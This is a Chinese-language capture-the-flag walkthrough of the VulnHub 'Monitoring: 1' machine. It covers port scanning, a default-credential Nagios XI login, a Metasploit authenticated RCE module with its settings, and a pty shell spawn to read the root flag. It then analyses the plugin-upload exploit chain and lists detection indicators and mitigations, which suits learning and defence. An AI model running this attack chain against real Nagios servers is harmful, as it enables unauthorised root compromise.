Monitoring: 1靶场渗透

Monitoring: 1

来自 < https://www.vulnhub.com/entry/monitoring-1,555/>

1,将两台虚拟机网络连接都改为NAT模式

2,攻击机上做namp局域网扫描发现靶机

nmap -sn 192.168.23.0/24

那么攻击机IP为192.168.23.128,靶场IP192.168.23.155

3,对靶机进行端口服务探测

nmap -sV -T4 -p- -A 192.168.23.155

1. 22/tcp - SSH(远程管理端口)

  • 服务版本:OpenSSH 7.2p2 Ubuntu 4ubuntu2.10(对应 Ubuntu 16.04 LTS 系统,该版本为 Ubuntu 官方长期支持版本的补丁版)
  • 核心信息
    • 支持 SSH 协议 2.0(主流安全协议版本,无旧协议漏洞风险)
    • 提供 3 类主机密钥(RSA 2048 位、ECDSA 256 位、ED25519 256 位),密钥长度符合安全标准,无弱密钥风险
  • 用途:用于远程登录目标 Linux 主机(Ubuntu 系统),是管理员操作的核心入口

2. 25/tcp - SMTP(邮件传输端口)

  • 服务版本:Postfix smtpd(Postfix 是 Linux 主流邮件服务器软件,稳定性高)
  • 核心配置
    • 支持STARTTLS(启用 TLS 加密传输邮件,避免明文泄露)
    • 支持PIPELINING(批量处理邮件命令,提升传输效率)、8BITMIME(支持非 ASCII 字符邮件)
    • 证书信息:主题commonName=ubuntu,有效期 2020-09-08 至 2030-09-06(10 年超长有效期,虽合规但建议每 2-3 年更新一次)
  • 风险提示:|_ssl-date: TLS randomness does not represent time------TLS 随机数未关联系统时间,可能导致加密随机性不足,存在被破解的潜在风险

3. 80/tcp - HTTP(Web 服务端口)

  • 服务版本:Apache httpd 2.4.18(Ubuntu 系统默认 Web 服务器,该版本为 Ubuntu 16.04 的预装版本)
  • 核心信息
    • Web 标题Nagios XI------ 确认该 Web 服务用于Nagios XI 监控系统(企业级 IT 基础设施监控工具,可监控服务器、网络设备、应用等)
    • 无额外 HTTP 脚本探测结果(如目录遍历、漏洞提示),基础配置暂未暴露明显风险
  • 用途:通过 HTTP 协议访问 Nagios XI 监控界面,实现对目标及关联设备的监控管理

4. 443/tcp - HTTPS(加密 Web 服务端口)

  • 服务版本:Apache httpd 2.4.18(与 80 端口同源,为 Nagios XI 提供加密访问)
  • 核心配置
    • 证书主题:commonName=192.168.1.6(证书绑定的 IP 与目标 IP192.168.23.155不一致,会导致浏览器 "证书不匹配" 警告),附加信息organizationName=Nagios Enterprises(证书签发方为 Nagios 官方)
    • 证书有效期:2020-09-08 至 2030-09-06(同 25 端口,超长有效期,需定期检查证书安全性)
    • 支持tls-alpn: http/1.1(ALPN 协议协商正常,确保 HTTPS 连接效率)
  • 风险提示:同 25 端口,|_ssl-date: TLS randomness does not represent time,TLS 加密随机性不足,需修复系统时间同步或 TLS 配置

5. 389/tcp - LDAP(轻量目录访问协议端口)

  • 服务版本:OpenLDAP 2.2.X - 2.3.X(LDAP 是企业级目录服务,用于存储用户、设备等结构化数据)
  • 核心用途:通常用于企业内部用户认证、权限管理(如与 Nagios XI 联动,实现统一账号登录监控系统)
  • 注意事项:389 端口默认不加密,若传输敏感目录数据(如用户密码),需启用LDAPS(636 端口)或StartTLS扩展,避免数据明文泄露

6. 5667/tcp - tcpwrapped(端口状态特殊)

  • 状态解释:tcpwrapped表示端口被服务 "包裹",Nmap 无法直接识别服务类型(通常是服务配置了严格的访问控制,或使用非标准协议)
  • 潜在关联 :结合目标运行 Nagios XI 的特征,5667 端口可能是Nagios NRPE(Nagios Remote Plugin Executor) 的默认端口(NRPE 用于在远程主机上执行监控插件,收集性能数据)
  • 风险:端口状态不透明,需进一步确认服务类型(如使用nc 192.168.23.155 5667测试连接,或查看 Nagios XI 配置),避免未授权访问

4,访问80端口开放的http服务

指纹识别网站技术栈框架

whatweb -v 192.168.23.155

再扫描其网站子目录

gobuster dir -u http://192.168.23.155 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x html,txt,php,zip -b 404,403,400

401一般意味着存在弹窗登录

http://192.168.23.155/nagiosxi/login.php?redirect=/nagiosxi/index.php%3f&noauth=1

5,Nagios XI 是一款综合性的监控与告警平台,用于监视服务器、网络设备、应用程序与服务的运行状态,并在出现故障或性能异常时及时告警。它可以监控从物理主机、虚拟机、交换机、数据库、网站、邮件系统到云平台等几乎所有类型的资源。

Nagios XI 基于 Nagios Core,但附带:

  • Web 图形化管理界面
  • 自动发现和配置向导
  • 报表与趋势分析
  • 权限与多用户系统
  • 可视化仪表盘(Dashboard)

使用他的常见弱密码登录成功账号:nagiosadmin/密码:admin

保留了版本,那么就以为着可以检索一下是否存在公开漏洞利用

注意到Metasploit存在对这个网站框架漏洞利用的模块,查查看

msfconsole -q

search Nagios XI 5.6.0

use exploit/linux/http/nagios_xi_mibs_authenticated_rce

options

set password admin

set rhosts 192.168.23.155

set LHOST 192.168.23.128

run

漏洞利用失败,需要正确配置漏洞利用模块

use exploit/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce

set password admin

set rhosts 192.168.23.155

set LHOST 192.168.23.128

run

成功获取到shell

6,python脚本启动一个可交互式shell

shell

python -c 'import pty;pty.spawn("/bin/bash")'

id

cd

ls

cat /root.txt

得到root用户的flag

Nagios XI 插件检查 / 插件验证漏洞利用原理

https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/nagios_xi_plugins_check_plugin_authenticated_rce.rb

该模块在已认证条件下(需要管理员类账号)通过网站上传一个"恶意的监控插件(check_ping)"到 Nagios 的插件目录,然后触发服务器执行该插件(通过访问 profile.php?cmd=download),从而实现命令执行(RCE)。不同 Nagios XI 版本中,执行者用户权限不同(部分旧版本以 nagios 运行,部分为 root),因此影响严重性随版本而异。

利用链

  1. 认证 (前提)
    模块先调用 authenticate(username, password, ...) 登录目标 Web 界面。登录成功后会取得会话 cookie 与页面内容,同时尝试识别 Nagios XI 版本。
    → 关键点:需要有效凭据(如弱口令、泄露或默认凭据)。
  2. 获取上传令牌(nsp)
    模块访问 admin/monitoringplugins.php 页面并解析页面取得一个上传用的 nsp(nonce/CSRF token 类型的令牌)。这个令牌是上传接口要求的防护值。
    → 关键点:若页面能被访问且令牌可被提取,则可伪造合法的上传请求。
  3. 上传恶意插件 (核心)
    模块构造 multipart/form-data POST(包含 uploadedfile 字段,filename 为 check_ping)并把命令或 payload 当作上传文件体内容,提交到 monitoringplugins.php 的文件上传处理逻辑。服务器在接收并验证 nsp 后,会把上传文件安装为 Nagios 插件(如放到 libexec 目录或相应位置)。
    → 关键点:应用允许管理员通过 Web 上传并安装插件,且没有足够的上传内容校验或权限隔离。
  4. 触发执行
    模块发起 GET 请求 includes/components/profile/profile.php?cmd=download(或类似路径),该请求会导致服务器在处理 profile 下载时执行已安装的插件,从而执行上传文件内的命令。模块故意让这次请求"超时"以便 payload 有机会在后台运行并回连(模块设置 send_request_cgi 超时时间为 0 即阻塞等待)。
    → 关键点:存在一个执行入口,会调用插件二进制/脚本并执行其中的命令。
  5. 负载写入与执行方式差别
    • 对于某些目标(非 ARCH_CMD),模块使用 CmdStager:分块写入最终 payload 到目标插件里(避免一次性写入过大的 payload),最后由插件请求执行最终 payload。
    • 对于 ARCH_CMD 目标(即使用 shell 命令执行场景),模块直接把 payload(文本命令)放入上传文件并把 payload 作为可执行命令执行。
      → 关键点:模块选择最合适的写入/执行策略以提高成功率。
  6. 清理(可选)
    利用成功后模块会尝试通过 monitoringplugins.php?delete=check_ping&nsp=... 删除已上传插件以减少痕迹;若删除失败,模块会记录需要手动清理。

为什么这是 RCE

  • 功能滥用:管理界面提供了"上传并安装监控插件"的功能,这本应仅允许上传受信任的插件,但缺乏对上传内容/类型的严格验证,使得任意上传的文件可以被放到可执行目录并由服务器执行。
  • 执行触发点存在:存在可由 HTTP 请求触发运行已安装插件的逻辑(profile.php?cmd=download),攻击者可以远程触发。
  • 权限位置不当:在某些版本(5.5.0--5.6.5)执行上下文为 root,导致任意命令可获得最高权限,放大了危害。

代码中需要注意的具体实现点

  • authenticate(...):验证登录、取得 cookies 与版本。若未正确受限,认证即被滥用。
  • grab_plugins_nsp:GET monitoring_plugins_url 并调用 get_nsp(res) 提取上传令牌;若令牌可被脚本提取,就可构造有效上传。
  • execute_command(cmd):用 Rex::MIME::Message 构造 multipart 表单,uploadedfile 的 filename="check_ping",并把 cmd 当作文件体内容直接上传到服务器的插件安装逻辑。
  • execute_payload:触发 profile.php?cmd=download 的 GET 请求以执行插件。注意模块把请求设为超时(第二个参数为 0),表明服务器端可能需要时间执行并回连。
  • cleanup:GET 带 delete=check_ping 与 nsp 做删除请求用于清理,但若日志或文件系统快照存在,仍有大量痕迹。

版本与权限影响

  • 5.2.0--5.4.13:命令由 nagios 用户执行 → 权限受限但仍可做持久化或横向移动。
  • 5.5.0--5.6.5:命令以 root 执行 → 直接导致内核级/系统级完全控制(最高风险)。
  • <5.2.0:模块标记为"可能受影响",但该模块不支持这些老版本的 exploit 细节(这里影响分析同样适用但需额外考证)。

可检测的痕迹与 IOC

网络层/HTTP 层

  • POST 到 /admin/monitoringplugins.php 的 multipart/form-data,其中 uploadedfile 字段的 filename 值为 check_ping(或其它异常可执行名)。
  • POST body 包含长文本/脚本片段(例如包含常见 shell 片段、#!/bin/、base64 块或长 ASCII payload)。
  • GET 到 /includes/components/profile/profile.php?cmd=download(通常来自管理会话或攻击者 IP),随后目标主机尝试建立外连(反向 shell)。
  • 随后对 monitoringplugins.php?delete=check_ping&nsp=... 的删除请求(若攻击者尝试清理)。

主机层

  • 新增或被修改的插件文件(如 check_ping)出现在 Nagios 插件目录(/usr/local/nagios/libexec 或分发特定位置)。
  • 非常规进程或网络连接由 Nagios 进程或 nagios 用户发起(监听外部 IP/端口的反向连接)。
  • Sudo/su 或 root 权限的异常命令执行记录(尤其在 5.5+ 情况下)。

日志

  • Web 访问日志中出现上传与 profile 下载请求、带有 nsp 参数的 URL、或异常长 POST 请求体。
  • Application 日志报错或记录 plugin install 成功消息(模块中期望响应包含 New plugin was installed successfully)。

修补与缓解建议

  1. 立即升级 Nagios XI 到厂商已发布的受影响版本之外的补丁版本(模块中提到 5.6.6 及以上修复)。厂商公告会给出确切修复版本。
  2. 更换与强化管理员凭据:禁用默认 nagiosadmin 或强制复杂密码、启用 MFA、把管理界面仅暴露给管理网段或 VPN。
  3. 最小化对上传/执行功能的暴露:若非必要,禁用 Web 端插件上传或增加白名单签名校验(只接受经过签名的插件包)。
  4. 权限与隔离:使 Nagios 进程以最低权限运行,避免以 root 运行可执行上传的管线;限制该账户对系统关键目录的写权限。
  5. 网络访问控制:限制监控服务器对外的出站连接(只有明确需要的地址才允许),防止被利用后回连外网。
  6. 加强审计:保存 Web 访问日志、系统命令日志与文件完整性监控(FIM),并对插件目录做周期性校验。
  7. 应用 WAF/IPS 规则:拦截异常的多部分上传或含有可疑二进制/脚本内容的上传请求。
  8. 恢复计划:对关键系统做快照备份、制定回滚流程并测试,便于遭受利用后恢复。

对蓝队/IR 的建议(如果怀疑被利用)

  1. 立刻取回并保存以下证据:Web 访问日志、Nagios 应用日志、/var/log/messages、sudo 与 auth 日志、插件目录文件列表与时间戳。
  2. 在隔离环境下对可疑上传文件做静态分析(hash、文件头、是否为 ELF 脚本/二进制或包含 shell 命令),并保留哈希提交到恶意样本库。
  3. 检查是否有来自 Nagios 服务进程的异常出站连接(时间窗从被利用时间起向前/后若干分钟/小时)。
  4. 若确认被利用,优先隔离受影响主机,打开应急补丁计划并根据影响范围通报利害相关方。
相关推荐
Wu_hello_mi4 小时前
Excel使用教程笔记
笔记·excel
江湖人称小鱼哥4 小时前
Prisma 命令安全指南
数据库·安全·prisma
white-persist4 小时前
JWT 漏洞全解析:从原理到实战
前端·网络·python·安全·web安全·网络安全·系统安全
wanhengidc5 小时前
云手机的真实体验感怎么样
运维·服务器·安全·游戏·智能手机
im_AMBER5 小时前
CSS 01【基础语法学习】
前端·css·笔记·学习
摇滚侠5 小时前
Spring Boot 3零基础教程,深度理解 Spring Boot 自动配置原理,笔记11
spring boot·笔记·后端
wanhengidc6 小时前
云手机 流畅运行
运维·服务器·安全·游戏·智能手机
fanstering6 小时前
腾讯混元P3-SAM: Native 3D Part Segmentation
笔记·学习·3d·点云
im_AMBER7 小时前
数据结构 05 栈和队列
数据结构·笔记·学习